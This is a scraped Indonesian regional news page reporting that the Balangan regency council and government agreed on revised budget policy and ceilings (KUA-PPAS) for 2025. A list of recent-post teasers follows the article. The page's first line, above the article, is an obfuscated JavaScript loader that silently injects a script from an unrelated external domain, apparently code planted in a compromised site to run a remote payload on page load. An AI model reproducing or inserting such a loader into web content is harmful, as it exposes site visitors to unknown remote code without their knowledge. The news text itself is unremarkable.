(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

DPRD dan Pemkab Balangan Sepakati Perubahan KUA-PPAS APBD 2025


KANALKALIMANTAN.COM, PARINGIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Balangan bersama Pemerintah Kabupaten Balangan menyepakati Perubahan Kebijakan Umum Anggaran (KUA) dan Prioritas Plafon Anggaran Sementara (PPAS) untuk Anggaran Pendapatan dan Belanja Daerah (APBD) 2025 dalam rapat paripurna DPRD ke-38.

Bupati Balangan, H Abdul Hadi, mengatakan, KUA-PPAS menjadi dasar penyusunan Rencana Kerja Pemerintah Daerah (RKPD) 2026, dengan tema pembangunan “Peningkatan Pembangunan Infrastruktur dan Perekonomian serta Sumber Daya Manusia untuk Pembangunan Daerah yang Berkelanjutan”, dengan enam prioritas pembangunan yang telah dirumuskan dalam dokumen tersebut, dan dinilai sejalan dengan arah kebijakan nasional maupun provinsi.

“Prioritas ini kami pandang sesuai kebutuhan daerah dan menjadi bentuk dukungan terhadap RKP nasional dan RKPD Provinsi Kalimantan Selatan tahun 2026,” ujar Bupati Balangan di ruang rapat DPRD Balangan, Senin (14/7/2025).

Baca juga: Langganan Banjir di Tonhar Minta Solusi Embung, Ketua DPRD Banjarbaru Dukung Usulan Warga

Rapat paripurna dipimpin Ketua DPRD Balangan, Hj Lindawati didampingi Wakil Ketua Muhammad Rizkan dihadiri para anggota dewan, pimpinan Satuan Kerja Perangkat Daerah (SKPD), serta perwakilan masyarakat.

Menurut H Abdul Hadi terdapat penurunan proyeksi APBD 2026 akibat depresiasi harga acuan batubara sebesar 17,9 persen, sehingga mengganggu pendapat daerah.

“Penurunan ini sangat mempengaruhi pendapatan daerah, terutama pada pos pendapatan transfer,” tambahnya.

Dalam rapat tersebut, Sekretaris DPRD Balangan, Tamrin, membacakan draf perubahan KUA-PPAS yang telah dibahas bersama Tim Anggaran Pemerintah Daerah (TAPD).

Baca juga: Pelantikan Anggota PAW DPRD HSU, Ini Kata Bupati H Sahrujani

Ketua DPRD Balangan, Hj Linda Wati, menegaskan bahwa dokumen perubahan ini akan menjadi pedoman bagi seluruh SKPD dalam menyusun Rencana Kerja dan Anggaran (RKA) masing-masing.

“RKA SKPD akan diverifikasi dan dievaluasi oleh TAPD, hingga akhirnya disusun menjadi Rancangan Perubahan APBD Balangan,” tuturnya.

Dia berharap seluruh proses penyusunan hingga pembahasan berjalan tepat waktu agar program pembangunan dapat dilaksanakan secara maksimal. (Kanalkalimantan.com/mcbalangan)

Editor: kk


Muhammad Andi

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

2 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

3 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

3 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

14 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

15 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

16 jam ago

This website uses cookies.